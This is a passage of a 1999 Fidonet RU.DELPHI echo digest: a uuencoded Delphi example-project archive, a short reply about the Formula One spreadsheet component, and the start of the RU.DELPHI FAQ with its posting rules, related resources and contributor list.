M&/MB@N-7#+?&*.:.H`HK(DP@]-P4"@!%%A'CM-/,:8BYRQ@.%-:@VH*D)MY"=F/B:_<6Y`E2+H6JYK3Q1I= MWT*QBWHV9D5>8Y;E3QAX^A9`KEEC6`J;>#9:'3DY1(*B5(9 MQ%!:DY MX;%7/%"&8P#$U6`H5<(T*N>5&^1BQ5@IAX2U"U.P+<#.1QG?#( M1P.][@8Z\%Q`WR%";GN!IG.5"DJ$/+Z9V1(T=["=,P,F)V[RVRK-\6NQ09+J M/@2>L+L4%G9O<';8S4@\RG$EPJ_'&'1G&[=F0ZYY-^X;:NP<%"NY%;F*E0)Q MCB3YBB3BP>XG)LP\]4LK3]&KE)E*X[PQVE'+>0MP@-&`Y2P?Q\5[#GMC08A= M--G_W&9_ETI.K0V6U=%I7N.3'R#U\&\`D*-M'N8MH,9]>R_[]D[X]EYAI"P&CY^)8'T.^*!=?P0&H>5BBV,V[$S\"?] M'PK(:'O'G?90?'QXZ.FAW;=IKWZ M4#]J'.QG]X].GK3^B5:I)\U=S]!O1*0$S^!K85G./?"=L'SJ&3EA0XT_;!XV M/SWS4*_X3Y8D9S@,HW2Y+%5`K[R0N)(E_KM.0GP]/BEH9;Z2_/*;`,S?HJA! MP*)P'$&G$4^@WAD,,C36.BZ#K:-?^MT][7CL3'%_J M=?.^;K=V=G:L,2[S@4X&KLZV#QGS[Y1?=QZUFW6?SKH/N5:S5'CPX,'GQ_?2 MCA$/DO\?[B/S'Y<>A4"O.>WC&YTTZ_1_-F3VF9+Q?294IM,^ON'M[SS]Y#M7 MTG;D9VQ\X0BL5I1T/P3!^F>,LS<$?C8).OWT[_Z;L<\P!(XD_]Y.FI]\/_W3 M+OE1-O#3*UC?8`3N*,CTB"#(LF$1Y^YKFR,LN0X2"X%_'%B\.^5W]H?/V[8Y MEDC6:^Y9T-L1I7^4=/)SI'?.?]R',LK]XQM!J,+]'X[=7WJ[YAT![N/3;'L. MDNO"XK\W_76/YSOQ6?IW(O!F&__Y'RB;=OCK-6<>6'_=U,Y?MW2_5CB"-NT@ M<*[NZ/-(O.]&$);_>T6`Y;MMX.C?+1WUWL?:=B((SL/A^<:1CQ&$QZ83@=T> MZ&5>!M'3W_2>2\OOH9J@#JB1,7#GVW70Y7,/@NC\W6O^B]+_^`:Q/)X##H+H M]?MY\K_?^TNGWD1^[_I'KW]1[R]6Y)&Y[]:_M_4[>OT/?W]Q8M\Z_:,O^/TE M^NTC+']U(@B.?;_UN_?WO[`L$93[>EF_>WW_C7X_#LHZ_5R__[N._M47P?75 MRZ@OPNNK?M<7X?55O^N+Z/JJG_5%;_55_^H+\-S5S8NM+Z*JFW[7%R^JOOK\ M]45X??4RZ@O'!L!&X)7>W_K"0N">"][JII_U1:<-.A'TN[[P0Q"=_U]4?>'O MA5[6OQ=37T0=D_EWS=:[7;L&%/E7,Q5@>?,_V9G0/002\]V]#K5=Z\[=UC-> M2@9TC6B3$:W`7U6>];^M`V8X/^DISBR]X1WF89YHRD*9*`OV&(OV*TL_N/ MLL>MYM];^N'A4_?N.HV_=E"TJ:HV\'X=`'81\8?%J@:9"QTRS7Y@@^K>O7-@ MQDL_:C0\6*@`+$10%Q9GJ]'!,(#[;`3# M']LN:8R.CA)WO?;'W<9>XVB_G6TZ5,_G$+;#8A47HA%;7!<2WRW98,.O;DH+&KN\7'7#(O^3$VB8E%Z7:EA#_7>]-O%*$Y&#NVN2/B>^BC MI\?-@Z/])V?(;BY`KWNYV)8`X%]02P,$%``"``@`Z65Q)E3-72.@"0``W",` M`!````!-86EN1F]R;55N:70N<&%SK1G;;N.X]7V`^0<^%+!3>+23V6L3S&(< MYV9LG`2)9[:+05#0$FVQD4E5I.)X!_MU_9-^P#ST"WH.*>IB*9+<=F?A2(<\ M5YXKE0JNR8QR<2Z3]4=X.7[]ZO4K+C1+EM1G^)(JIEZ_(N17+@*Y42,R8TK1 M%8.G^ZWZJ'D$3Y.(*H6@BX3&(?<1)(5.)"XB;?ASRFDD5VJ$Q"9R/=$)+LZE MC(#TB(Q]+:ZXTLA`I+`R7:_L^]FS-IN-;'H;,Z0P1ZHH.7E/?.0^-)`#7"-& M)21S1.;N\=BN\/4J4AJ!L#9=@R+()%N\/D0$V#S5;.U@[QI@WS;`OJO#J*^Y M%!'/&8X-H,1Q',<1]RE"SYZYSKF$ M+67":D@_UI$N612/%S*MB76OJ4[5"4U@(7_.UN)$KA)P$8#BYCV%-`LBTHD45'1RG@YBW56HI#MV;>:LOOFI9C$5VQ):IU2P6+,FCT ME`'Q?#YQMG&F^:G9GI<\8(CAMM=,^IB8"A^]PL_LY\?="X]Y0I\+IM]^9:Z)T],S_MPZ86?[TQ\R#LS\L%W6E" M-\;!AVT!2XC9DZ_8D""^%$J3.^``*W>-C':2UU[&V`V>_PGY8QS0_2RSB"8@ M^F,W2M4[6Z6,$_X$8E@*7\BM?24!@_J4&`J*_&%7SV^BX!>V17DP$\/C0M(D M,.^9".<3&JLKZ3^:\RB=@^65+D"LFC/S*,HR9ILBEU#@]])\&D0UG8_)$TW( MJ12@P`G$-*.B3N.4JSBB6\,0?XX(1!H7JP9N2O&5V!'R[(D)?0EQ%K&Z0A^A ML(K'?3!J/%"O_7AT8MPSG<9EWVS>`2U/5NN&OL;8*P#-+I]Y2ZJ&$RJ>**99 M^W!9NQ9(Z%]@Q3ZC_6#>"B:Z&.E\2[Q0< ME05=*D%0&+]MB`EP+M/?@5/AJ^ONCHI&S[:FZSAB:["_P77]*5$ABR(: M,_X2Y8"LN3*<<284IP=FG@^Q+H9W3*T32GH)SPHA:Q?+R`MS%K$<>ROGL&AYB.UH2Z^UE M<]Z897+T?A=C7V$:TD\6,-;*"VOERH'#`G+62V7U-HN.F'=$1 MU"%Z6^;/97-6F2=\/;1O5@*^)%=,K'3HH!!6;XD.F4'+\0L*@W]^_??7?WWU M!L=%,BG-*9XIHNKSVP=OSIX-1@_S5\MI9FB>IU##0B^TV.UJ,_F^X/KUS?P, MUD,J'A4TRH`+;8)B,/LDL6=[V!,D;%(,(1NN0S?TD$#N:#M.M;SGOYOC6-)( MN5YA$_*(N7%J(E.PR<]@KT"2;[Z!7&NZ6R*C@$#F3!=`F4/;K"QNB7P^D:G/ M@/W@G2?,<7`6=>9RDF;#=5U4R+&$HYS8H2O/"O6&',+.C0`[&.E0/-\TZIV2 MH9V-JQ26]K(>/[?705[MC'`&Q0I6(U>U91X;]K^+1*8Q"QI6W,B1*_89E'S( M-S@K.8'![1)F';3:EE7-F8^Y7H-0K0[:.N@4Z;#62B)]_#LD;T?N?V.^DL]. ME^0WF9*0/I4:9VO9>U.%L`V*6Z"U13*.#H]BCPF(ZI)I`C3;V-M&:([R! MPQXHLH9J3!A56\]$`>G1"J+?`"L:!"2$-4@KA"YXQ/6V$;^6-4OXCVP+(D,1 MJA`IF<$Y%U=BH`FU5!<0;AO(1FBA`8B?*D2?G4Z=#KN=>%-;V'6R+6-I/<-, M=29APOZ1\@2\=\%\BH:_EIHO,TM`F.E0!AA[.N3*1&FJO.*X(++(E&RH,&>Y MA`0`!)5,$Q^ZK,66K+<*JH73LE][W*=1;[-%GPG8)6=HTH[(Y71R<]UH)71H MGPKCD%>2!N8"D(QOIP"-(L*APV,T(')9."=P$E"[MA%S6B,3#"!#`)Z'))P" M(A4^&Y';24B3(1G,QM-K%&.0M5%X900]JM$#BII1O-A]]DPQHLCX$/:/R&"J M!\"HRD6LR?OP=B@D9+X(4S#H867&Z.K52JY69JF7\S!,'](>5 MM6&.5=1I(35>Y\:0Z68,JO@'MP6*[8A\*$^Z!H+I[699I@3_&BK[1,9;("B3 M[;"!RH=.FEFF;1I>K*':S-44KKELNP-<=G'8>09]!K^,">0GFVEA#P;KC(H4 MYI=(4G">$ZBE@1J2-[_R0(#777Z.NQ^5VJYN2&` MK?=ZG[CB6-8:0C';@?2=..8/-*`[.^M.4@Z._U:1EZ_WBIAL0/,F(4-1T*Q5 M)7O(T/.^)AP_R4=MK: M<[`Z]-H1E/4C_"YVH@7..T77F3UD)]>!?9'0;17=7>D#T+:/^#LROYY-*N9Q M+N.1,\M>)]_WBCQ+,^ND/(SENJR-_(9PF5[E#L#8&C:^AY^;QUVOQ_P+S1!C M\?["=WX9:!>^)+:E9*:>&C0??DI7#CK9VO.I&2##J1I@R04T/1E*?7-I^FN4 M"U0F_ZQ) M%O;TEJP^;:SS77&@>-26*%P?*7+YJ#JV),\HRQV`ROKV' M)O;3+W^#I^E\?%43IMM9^@P837=VI7LYZ\Q[,6F8=5Y@XF[0>C"I=:M%A,=@+E-A[PAJ^=:5I:)8EUJT?J,!WMP\0GDU?EU<#]@[`1_Y6<*H=R'ZO0]) M1 M"ENOZG1'**2=0)"*&WVAE*\@,Y?H5"*@3R'U!+`P04``(`"`#S=7`F=68S';H%```I#```&0```$UO9&%L M1F]R;4)Y0F5F;W)E56YI="YD8W7EEOMO%%44Q^=LNNW)LFF6OL%2MD8V4,NF ME$H0D;3=96NE+*6[Y150AYF[NU-F9S8S=Z%+?#1(%"CQ@880E$V#V#3^CI(8 M#`9-_('H3R;^H(F)XB-J_`$,1J/UWIG=[;2S_`5.LI.9^_G><\\]]YPS^]5L M9FB=7Q#NY'.AZ7UW_Q+."UMS*W;JLJC&=",[6!@D*=T@XYI"PSG1O$-S(<&X M#X_&=G+ND;TK%"I,Y5G"NL(V+%FUAB-"(JA"-CA&)#G+NL_)QLFQTRY;I7,[X]KA0(K%A:4;PWG+ MT6F7Q,Y>RX(M.J2_-4M\>W:^)AE4IU[<3+ MEY)I#)?>OL[1?DFNBRJBJJ/DVKK?OF=Q=GIOFJRS)/7Z+D9:G20B:M;6 MV+0&#IN70-MB(T>K%B$K;5CI$=F6-'-)VR*)E9+VV;=RVN*DY6ZBR1V!D ME2:RRU#2BK;!M3H7V(_;)RG3F1NYI'V))$J.*A+A`V22]KFVSO.G]!QWN3>L M'2V5Z`G.&IULC.1XSWG9%2^6M(-Z7I/-,QPUN,_HK+V.TT=#3`]GQ30QW_FT MXVE>N`NLE&E7..AT@DH+U:4C"862B"J:YBR7-24=OG#;O'%=76PY4;'\/@Z,D M:[D>2.XZ/,$Z1#BJF#F12IG;WTR/L9B61EG?'6;U(&H2^9&#IC*(&824R4^< MU/?;!1%3-+:'PK[NI"R%&L-)7NA6Q9?_,4R=_/;LM5JAJ\&-3G7=NWH+@\M= MX(?-A[ZXA:&@)]R;\@EK_=8BRG'KPSG%EQ(.=@;]TMKFJO]/I@1^!3H#?FE( M0`$?\<8HSM0(G&]CSU_YA'^MQ<(0RP"GU@1*,>UREE#)7AU56@YR.-"]2-E M9/K7C3?&,VN82)[OD4\'Y[U\PL8;!_;OET\',MWLY>;/?.B7/P_=?'&]Y=K- M[&7!6Q2@&(09A&(;%`,01SB%$$;H03B/T(=P`>$B0C="$L&/<`:A":$%H1WA M.,))A(<07D)8B;`680QA'\(>A`,(SR`$$&2$'(*!T(!`$8XB3"($$3H0GD4( M(3R/D$&80%`1-(1M"#4(!Q%J$1#!AU"/\!3"880VA!3")H1^A`<1NA!Z$38C M;$'8ZH=B'&+HG1%@I@>*""-;O;/U,-L&5U;"K-_S=L`[5P-7_+5SK]7T?EDK MU+_N\?0)YSPH""V^-WR^.<$C>&;8K6G&XQ%:+K.GT"R[];Z)LT&>[W/\+HC_ M`5!+`P04``(`"`#S='`F-&DI"T4!``"6`0``&0```$UO9&%L1F]R;4)Y0F5F M;W)E56YI="YD9FUED,].PD`0QK>M4/[Z]^2M"1>]&$Q\`5K:8*"6T#7$DZ[M M($V6+MDN$7P9;SZ-#]$#A(-",-&;"6)+O#B7R4"J2@ME0.9(RW<`7 M?>59RC8@>.@+Y4)2#3(4`0NSE=?E-'[[7L1K[7.Y>H^UDWF\BA>SF?:QG$_C MQ48XS1B,,J[F/:J+T"(>E"P6BC.C3W@$0MVKFU;MNH5OC4:MXYJXD*J)I^31 M;A#Z[!'#6!03(?U!_LHGTQ490+9LNYI+PDAS@0>]U.^*"84BVG6H;W`@`ASN M`\^5V\$8:-0&?AEZ??FN\!N\C2PC%>LC(5BHINT\!?&"$A`Q2D'(S2T'^?@/ M@^PTBPG"#D0C*F0IA\E]?K%KO?889#=JP!0``#@P``!D```!-;V1A;$9O41E;6%N9%5N:70N9&-U MY9;;;]M4',?]BYKTIRZJLMXWNBY%+"JCB[JN3&.,J4VR=-VZK$O2W30NKGV2 MN'/LR#[9F@F):B!VZ00#IFD:785&Z0.\)-R0>X`'!N`AX8B#$ M!.4<.VG=.OL+L!3KV)_O^9W?^5V.\]5<;K#>+PB_%PNAJ<-W_Q8N"SL*:_;I MLJC&=2,?*<5(7M3D44VAX8)H_DD+(<&X#X_%]W'ND3%%Y2@U5/.CH\>O9&K3 MD2*ENG;ZS+5T%L/EIZ\+M%^2:V.*J.I92RC)7F[2GN1-\_%\XMVQK"]LC==M MFTIDUZ2C19/J>?XB/*`J62VJ:]3057/K^O%-V38GCAI$I&1$-,2\^1BG'6YZ M2-%D_>1NM@.5;.>:YBH:37Z4493'9R]$Z)TH1RD+- M=A)18@JK#Y)PS5Z4C+CB,%J0F=4!B?ML'G#Y=5!4%2Y($DW,DQ3GC4[.4L12 M(8VZ8F1G\.Q],IL@)\^Y;)7S=MZUPX$,BPLK-X:+EJ-3+DF$9'2#6!9LR04N M:5FVLJJ;Q(KS2ZYMLJ(2BRJUB\5XF?.F%0&,ZU+1O%HM^A8A? MM/KVFJMB#HD:C>845=Y+2C.<;DBG)&9$977'2J5L,CP@C[,Y2_5Z^[OOU&1EJ=)"IJUH)L6@.'S2N@;;&1HW7+D)5,UA!$MB7-7-*V3&(5BIV1 M5DY;G+32XYKD':BW#BG.6MTLB0I\)/@C"M>K)0B>E&3S?,<-;AS=,%> MQ^FC(6:'\F*6F&]^UO$T;Z=3K!XL.G2\91"250537..RYK2#E^X M;7ZRYRR`KTT%#+.04 MJ?Q9JK5<(W;1LF-+SQ=TC26L'(\DR2JL#$H-_]SIY2VWB`\9;%O6<=G"4;L# MI<0,B8JL.R8D4N`+/\(5#>D18IC,&)?8Y=YS\]Y;S*%4R1REBEIV"/<1T^3A M+OMG'^>5)Z;EF[*??.R)DKSE>B"]?VR<]6TXII@%D4JY.]],)5E,RV_9:3C$ M^D'4)/(C!TT5$#<(J9"?.*GOMQLBKFAL#Z7#W6E9"C7:GVGKB*G\+9@[P`\=7?=N8RCH"?=FZH0NO[6(""UX^8.R.<"N6[V M,/\S?_7+7T_./[_)$L0A#A080NA`F$TP@]""\@A!#Z$$80#B*D$0XC/(70CC"&H"$4 M$#H0#`2*<`*A&V$CPBF$7H1G$3((.81Q!!5A#T(`X2A"`T(30@O"6H1C",\@ M/(0@(T00AA'""%L1=B+$$.((N_TPG0`?>F<$F.F!:03_#N]L/ZVN;D[P")X9=FN:\7B$EC?8 M*#3+;KV7<#;(ZWV.WP7Q/U!+`P04``(`"`#V='`FG`&&Q)\!```5`@``&0`` M`$UO9&%L1F]R;4)Y1&5M86YD56YI="YD9FUE4L(N(ZB@=5K&!BWS:CC&>BF8EH^"#^`(F/X"-2!!)2:5I5L$!"%#\B M-LQFYC[./?>TAG&23-,WB8!2^BH=IZ,X$1;SPP+BX5E&UXH9`GR>2&X\OI3FJ^4ABH%ONQ-:4HYK>@[ M0-NN7*\8..Y4Y92?UJ^(+#05W'[X:?-E??'[)L'+$7X='0:3?(A[7;7%]`MV3'DIWF(XTUY;Z%C,G[MM=$0JL`=I M[N>$*S\'24\Z?*O%0WL9*R,)1$/6*'3=L5"T$>7L+41>2``>U:N"'(SI&3`U MKKWBQOR1[332C6IO07L.T$]1$CEV63> MM#ID/FDJ+IF'HIY0H7_FFMD+K_W!":@ETZ;A8C)MES51??X"4$L#!!0``@`( M`/9T<":G![3RXP```($!```9````36]D86Q&;W)M0GE$96UA;F15;FET+G!A MT]GVJ69 M[KVG=T\/C>P5VN@P[&+J-U-#/;([9G5=5W7E62E]8D=&1B&I*X!WSRY^RP): M$L$39;2?Y*@^9+0-*&+22\+ARW`9.DN^+Z,',P%L1M7(3RLXS&AM\I#\&95FQP5>9PJ.\O^$ZB,+ M7(MQ_`B^^_,5=L-&[$JW,R:C_YJM;K2=;]X''9[-JKL1R\ MK*L?4$L#!!0``@`(`$AK;":%-/[<-`8``&8,```.````36]D86Q&;W)M>9YOC/3;\=Z6S(!0K8>4&J&]]S^BYPC MC^>#;9HD*,V:GC-B><%H88Q()8V*8!C4^+CKP/GLO>E&+9?75*J:L8Z\))@T M2;.R8>J#Y?]<7Y==ZL"=NFS2E,DD$8ZJ'"@E9&BCH"A-`R+-F[*F/LP5Y>EV MJANL,RZI-PPYJZZ]^O>[HH2-FFKJFF*'4)7NE-5"2R&&'8)A)JDA'Z97'OKU MIVS8J;`[2FO!.D8JG*114.O[32W%/BOG<.D":/>XA*/E14A3V80%6:62+5G* M)95%$IVRL+8*JJ30"DXC3AJG['MML%.5JCF[S\E:J-FHR"P#.W4Y*ZN/N$;G M`ONQ:8!GREC/)54+)'%Z4!8I;Z`#Y@;7U%.]VJ'"<\(57JMZ4%!DGM>CG"UQ MLB3-LXF;+[ORE:)F@]:O2L9)CLK=-3IEC^.,41>RK3DA2XUW/JON9N,X6),J M[%>H=)&#%4[0K&B"*:O9N"8>2#>8NCAKDN,P[^HB3BO1\CF139K.J%[E];S/(;-I-/A]LT4Y+N;./6 MFNHN>R];TMG6G6KM:KH2__J"*/FL%6:I?&G^/)V8VI_UQZSGY9N&$WR9]1NF MEN,-L7J%&7AV"6R\OV\-\YH#VUYK%W0A9SS*:;6;LFI(VB';CYNY9NE=-*KT M&$=53A2G&>;S=EW+4]V4J?$$5]Q?K+#-[!CA22XJFL*Y M$I*D@F3M7-LY6NY$S!(LU6PFL\9(N+Z>D[2[\F`O!=LTQBY77+L+ZRY)56;& M%.=+G)R5B)5"['#ER*[@\?^H;((>.N'JJU"WDZX9UF=87NP]KM\*=-@E::`9 M3:=6#[;D%)=$BD96-(-:>7[%-4UF*J%?,6VSZ*]R'EZ0P&9-[#?>N%OV+4*E MPGIXTYU]MK59Q]A;+L=T"JK9V"LKTG8Z^#:GJ](ID76B,-\Y3PRICWTS[],R3)^A!%1*DD-&GS_X1N(*/G9FTESUM$82N_3K.R%5N:#5E96017I#0["LZ!9IW26W.0DN,4N3K.LLF-Z<,_J MM"32$GLYV:=PD&]GW6VMB=8V]A"?8AM;]AZK+=F42N],-L7?YWM=35DL/?=/ MQ="N3;\][R=UI?--Q_](5)[&J">V+E-*:A?/@T+>AFXL]E\F/1A8X4U1)1-! MLK*DL,U&/'ZQ-F!%*!^VTC3$XR3[5D0#8FWI_+\R0X1?H16A@-A"D."7WN8$ MCGK)XK*1OD_NC/O)&K\]&"PJ'1/C3%(ZPSX8FBE<1ZS/M[";`B4[2/'E=3Q' M@9!:]O>IA_QO+R`^Z]=18YZB$L?[;`H[B*-(A*2&OQO^YB8'PXW>8S=!#_4O MNV"]$JOUJ>GBMX[A6^NO=?2N8B_2S%KI1'3&&GG]M:Z]>Z43H=[5[&7Z9][T MRY]/3Q];8T4WG9L@OA$"(U$8K801A)$0-",@@HY@(IQ&&$`XBW`.(8\00FA' M*$78@]"%T(.P$<&+T(O@1W@&04$((H01RA$B"%4(:80HPFJ$&,)NA+4(ZQ`V M($@(^Q$V(?0A;$9X$*$&H1:A#N$HPE:$2H1M"#L0$@A)A&4(U0C[$%8B'$9X M$2&#H"(<1'@.X06$H1",5?M&"8Q&^43B-;ZQ@.>EZD7'@YZ307X_%?!-!&&B M$BXN@XF`YWS(-^F%BP'_Y&NAU;+/X_<$_6&L\E=Z>TCP=8]G&SGM04+"WC/! M\DGB(9Y1=BL?(WYO9:1NU.,AD4NLX8$SGG'V4S?!;EO/AL=ZV-(@E_QDW.^_ M%+XS7GMG(LI7RR2_$^%?4$L#!!0``@`(`$=K;"8'FX18`0$``/8!```.```` M36]D86Q&;W)M!%?H(0IM8,'+$MO9 M=:!)2I*NJ/CN9AK;740PE\G,_^?+GTR&`@C;J^'!.NVK/,LS,@'=477(S>31 MYQG`+-^`0._5"9,QO(_(FEP!<`O=H+S?@)S;@N71T5F%VM/2! M&S@KMV"W(-,4B@ITFD7?H:V?=Q6?1].GB'H<4*,)*I`UUSGW9'K[EO)]7B?[ MXLGE]HM2_@3Y*T<1.2]X(L/HVKRBHX#]'*53'A=_R5X9?P/L,3V3$Q]$_5B+ MN+G?IN%*XG4WC@-U<_Y2D"$=$542TRM73+-KY5/S/Z5!'ZS[#4EU^;A8RSS[ M!E!+`P04``(`"``2>'$FD_`:<8$!```T`@``!P```')E860N;65]D<]JVT`0 MQN\&O\,<$W`,*3VE)Y/Z;L@A9UM9B*EJ!5L&WY-32"E]@_5&$X_^[.B5=N72 M&A3L5\C(-DWIH;"PL//;[YMOIMWJ+X9?[T(%O?,.&'2>=G#>_7#1;K5;WQW[ M"M,-I5`Z*M`U5\XO:`6R&CZK\.YV#!^[#?R`!5M?.7+K;>5W>P$X@R=.=/YJ M:X2?[(H:/%BYFR=.H2!+!:WT+\+TTQZ_S[6QC%"@W8(!0PE"R3G[C(`:^;54 M*C8'^E%GTD?"8&J![*YZ!B(LY:"-X M"G[_H.]3,YWAO(8!),?65$ MS1\,).I?#O]5^X:%Y1=)P'`3!5^&(UE-$$WB:13._B666PDG"V7&('9A/0U!QT#V5/U>W*@S["Q7,8]5?=.!R MJH:Q&DRC0,UF';@>3YJB[/H-4$L!`A0`%``"``@`)7=Q)IM\MZ4O%```VB@` M`!H````````````@`+:!`````$%P<&QI8V%T:6]N4G5N1F]R;55N:70N9&-U M4$L!`A0`%``"``@`^G%Q)M4YH"4%!0``]0H``!H````````````@`+:!9Q0` M`$%P<&QI8V%T:6]N4G5N1F]R;55N:70N9&9M4$L!`A0`%``"``@`@WAQ)DL! M"&T3!P``5QL``!H``````````0`@`+:!I!D``$%P<&QI8V%T:6]N4G5N1F]R M;55N:70N<&%S4$L!`A0`%``"``@`G'AQ)G(S=A*V````-P$``!0````````` M`0`@`+:![R```$5X86UP;&5!,5!R:F]E8W0N8V9G4$L!`A0`%``"``@`G'AQ M)E(48G*#`@``O`0``!0``````````0`@`+:!UR$``$5X86UP;&5!,5!R:F]E M8W0N9&]F4$L!`A0`%``"``@`#F1Q)@%U!F3@````0P(``!0``````````0`@ M`+:!C"0``$5X86UP;&5!,5!R:F]E8W0N9'!R4$L!`A0`%``"``@`FGAQ)F5S M1K;/`@``M`8``!0````````````@`+:!GB4``$5X86UP;&5!,5!R:F]E8W0N M41E;6%N9%5N:70N<&%S4$L!`A0`%``"``@`2&ML M)H4T_MPT!@``9@P```X````````````@`+:!JV8``$UO9&%L1F]R;7,N9&-U M4$L!`A0`%``"``@`1VML)@>;A%@!`0``]@$```X``````````0`@`+:!"VT` M`$UO9&%L1F]R;7,N<&%S4$L!`A0`%``"``@`$GAQ)I/P&G&!`0``-`(```<` M```````````@`+:!.&X``')E860N;6502P4&`````!,`$P#Q!```WF\````` ` end sum -r/size 38475/20590 section (from first encoded line to "end") sum -r/size 7724/29925 entire input file === Cut === * Crossposted in RU.DELPHI С уважением, Akzhan --- Раскpепощение --- * Origin: FAQ-сервер по Delphi: AkFAQ по адресу 2:5040/55.999 (2:5040/55) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 77 of 341 From : Mike Kakyshkin 2:5024/11 17 Mar 99 16:39:00 To : All Subj : ^2:Как pаботать с *.xls из Delphi ? ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: ddt.demos.su!f400.n5020!f11.n5024!elcom.ru!newsmaster .RFC-References: <920392017@f80.n464.z2.ftn> <921030980@p52.f9.n5059.z2.ftn> Привет, Evgeni! >Из какого дистpибyтива ? С D4 идет Formula One Version 3.0 и с "новым Ексел'ем" >она не дpyжит. > >Где взял пятyю веpсию ? ХАЧУ ! Уже есть Formila One шестой версии. Берется на www.tidestone.com Дружит с самым распоследним Excel. С уважением, Mike. И это было. (c) Соломон --- Microsoft Outlook Express 4.72.3110.1 * Origin: Centre of Electronic Communications (Vladimir) (2:5024/11@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 78 of 341 - 68 + 87 From : Alexey_Mahotkin 2:5020/433 27 Mar 99 12:05:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 922525566 18193 127.0.0.1 (27 Mar 1999 09:06:06 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 27 Mar 1999 09:06:06 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.15 1999/03/11 00:32:03 alexm Exp $ (faint directions) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение вашей совершенно новой и безумно свежей идеи о том, что эху пора разделить на две/три/больше частей, потому что читать ее нет никаких сил. Вы даже не в первой сотне придумавших и успешно высказавших сие. От себя могу посоветовать пользоваться хорошими программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. _________________________________________________________________ Сопутствующие проекты Существует также некоторое количество подобных проектов, освещающих те или иные стороны вопроса. Документы на русском языке Delphi Tips&Tricks, автор -- Акжан Абдулин, 2:5040/55. Это большая коллекция кусков кода и обстоятельных рассказов о том или ином решении. [3]http://delphi.da.ru F.A.Q. по фичам Delphi, автор -- Михаил Чернышев, 2:4615/26. Это описание различных библиотек и компонентов третьих фирм, не входящих в стандартную поставку Delphi. [4]http://www.chat.ru/~ivanuts Delphi F.A.Q., составленный в Демо-Центре, он же Epsylon Technologies ([5]http://www.demo.ru/homerus/delphi/faq/faqsroot.htm). Большой набор вопросов и великолепные ответы. Кажется, первый F. A. Q. по Delphi на русском языке. Многие из этих FAQ можно найти также на FAQ-сервере по имени AkFAQ, по адресу 2:5040/55.999. Документы на английском языке Delphi F.A.Q., находящийся на сайте производителя [6]http://www.inprise.com. Это официальный F.A.Q. Delphi Bug List, лежащий по адресу [7]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg 